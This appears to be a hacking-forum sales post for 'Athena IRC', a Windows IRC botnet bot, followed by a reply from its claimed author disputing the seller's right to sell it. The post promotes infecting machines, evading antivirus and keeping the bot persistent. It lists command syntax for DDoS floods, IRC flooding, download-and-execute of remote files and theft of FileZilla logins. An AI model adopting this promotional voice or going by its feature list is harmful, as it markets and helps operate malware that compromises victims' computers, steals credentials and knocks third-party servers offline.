About Athena IRC

-Athena is an IRC bot coded in C++ (zero dependencies) perfect for infecting Windows machines. After execution, Athena installs into the host computer using multiple methods of startup(both registry and non-registry) depending on the environment it is in.

-It utilizes several techniques to evade potential anti-viruses and botkillers, and remains very stable -- it is great for maintaining a large botnet.

-Athena is one of the only herding IRC bots that functions also as an IRC floodbot capable of crashing anope services and knocking users and entire channels off of IRC.

Commands & Features (Click to View)Commands/Features: (You can set any of these in your topic - bots will parse the command on join)

Commands

[Port 80 is most common for websites]

!udp - Sends mass amounts of random packets to target host/ip, perfect for home connections(SYNTAX: !udp host/ip port time)[Use '0' to flood random ports]

!condis - Rapid connect/disconnect flood, it takes down gaming(ie. CSS) and teamspeak/VoiP servers like gravy(SYNTAX: !condis host/ip port time)

!httpget - Rapidly sends hundreds of HTTP GET requests every second from each bot

!httppost - Makes hundreds of HTTP POST requests from each bot, and holds connection by slowly posting content

!slowloris - Connects to a webserver through several hundred sockets per bot, and sits on it.

!arme - Exploits a vulnerability in Apache that crashes servers though many bulk partial headers requests at once causing a lot of memory to swap to the remote filesystem. It will break vulnerable servers' physical hardware if vulnerable enough.

!rudy - Slowly posts data to existing forms on a given website in many concurrent submissions.

!stop - Stops any existing floods

(SYNTAX: !ddos-type <http://website.com/directory/index.php> port time)[a specific directory/file is optional]

IRC War Flooding Commands

!irc.connect - Connects to another IRC server/network through multiple sockets in preparation for flooding. (SYNTAX: !irc.connect irc.server.net 6667)

Misc. Bot Commands

!id - Displays the version of the bot and who it is licensed to

!ping - Returns bot's ping time to its current connection
!openurl - Opens a webpage in the default browser(SYNTAX: !openurl <http://website.com>)
!openurlhidden - Opens a webpage hidden in Internet Explorer(SYNTAX: !openurlhidden <http://website.com>)
!blockurl - Creates a line in the computer hosts file that disallows access to a specified host(SYNTAX: !blockurl website.com)
!dlexec - Downloads and executes a file from a URL(SYNTAX: !dlexec <http://website.com/program.exe>)
!update - Downloads and executes a given link. The bot will uninstall after successful execution(SYNTAX: !update <http://website.com/file.exe>)
!remove - Uninstalls the bot and deletes any traces of itself

Stealers

!ftp - Outputs any existing FileZilla logins to your C&C channel

IRC Commands

!raw - Sends raw commands to the server(SYNTAX: !raw PRIVMSG #channel :message)
!silent on/off - Toggles bot output(overridden by the !raw command)
!join - Joins bot to a channel(SYNTAX: !join #channel [chankey])
!part - Parts bot from a channel(SYNTAX: !part #channel)

I needed to inform everybody that what Understalker is selling here is not Athena IRC Bot and what you are likely receiving is fake and not working. I will not post the full report and result of Understalker's scam, but everybody should know that he does not actually own this product.

The only two people who are able to properly make builds for this bot are me and Jeff Jordan. Do not trust this sales post or anything Understalker has to say about it. I am the official and original coder of this bot and I know exactly who has rights to sell it, who has the files related to it, who is capable of making builds for it, and who can not.

My hat off to anybody who fell for Understalker's scam. I will remove this post solely if Jeff Jordan, the current owner to the rights to the bot, posts on this thread and confirms that he has sold the whole project to Understalker(OP).

Anybody who wants to see the proof and chat logs of Understalker scamming may look at the reputation I have left him. It includes a link to a pastebin with some chat logs and another link to an image of some chat logs.

Jeff Jordan is Cyber CEO, one of Understalker's best friends if I remember correctly. I know Understalker has Athena source.

I have posted a deal dispute regarding this post and Understalker(OP). I have saved the contents of the deal dispute in a notepad file local to my own computer to make sure I don't lose the contents of that thread.
